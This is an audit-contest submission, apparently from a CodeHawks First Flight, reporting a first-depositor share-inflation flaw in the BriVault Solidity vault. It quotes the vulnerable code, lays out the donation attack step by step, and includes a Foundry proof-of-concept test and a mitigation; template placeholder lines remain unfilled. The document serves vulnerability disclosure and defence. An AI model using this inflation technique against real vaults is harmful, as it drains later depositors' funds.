BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

First depositor can inflate share price causing loss of funds for subsequent users

Root + Impact

Description

  • Describe the normal behavior in one or more sentences

  • Explain the specific issue or problem in one or more sentences

## Root Cause
The `_convertToShares()` function allows the first depositor to manipulate the share-to-asset ratio through direct token transfers, causing subsequent depositors to receive drastically fewer shares than they should.
**Vulnerable code (lines 144-155):**
```solidity
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
uint256 totalShares = totalSupply();
if (totalShares == 0 || balanceOfVault == 0) {
return assets; // First depositor gets 1:1 ratio
}
shares = Math.mulDiv(assets, totalShares, balanceOfVault);
}
```
The calculation uses `balanceOf(address(this))` which includes tokens sent directly to the contract, not just deposited tokens.

Risk

Likelihood:

  • Reason 1 // Describe WHEN this will occur (avoid using "if" statements)

  • Reason 2

Impact:

Impact

An attacker can make deposits extremely expensive for all subsequent users:

  1. Attacker deposits 1 wei → receives 1 share

  2. Attacker transfers 1000e18 tokens directly to the vault (bypassing deposit)

  3. Now: totalShares = 1, balanceOfVault = 1000e18 + 1

  4. Victim deposits 2000e18 tokens:

    • shares = (2000e18 × 1) / (1000e18 + 1) ≈ 1 (rounds down)

  5. Victim loses ~1999e18 tokens worth of shares

This creates a Denial of Service where normal users cannot participate fairly.

Proof of Concept

## Proof of Concept
```solidity
function testShareInflationAttack() public {
// Attacker deposits minimal amount
vm.startPrank(attacker);
token.approve(address(vault), 1);
vault.deposit(1, attacker);
// Attacker donates tokens directly to vault
token.transfer(address(vault), 1000e18);
vm.stopPrank();
// Victim tries to deposit
vm.startPrank(victim);
token.approve(address(vault), 2000e18);
uint256 shares = vault.deposit(2000e18, victim);
vm.stopPrank();
// Victim receives only 1-2 shares for 2000 tokens
assertLt(shares, 3);
console.log("Victim shares:", shares); // ~1 share
}
```

Recommended Mitigation

## Recommended Mitigation
Use a virtual offset or minimum first deposit:
```solidity
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
uint256 totalShares = totalSupply();
if (totalShares == 0 || balanceOfVault == 0) {
require(assets >= 1e6, "First deposit too small"); // Minimum 1e6 wei
return assets;
}
shares = Math.mulDiv(assets, totalShares, balanceOfVault);
require(shares > 0, "Shares too small");
}
```
Or track deposited assets separately instead of using `balanceOf()`.
```
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!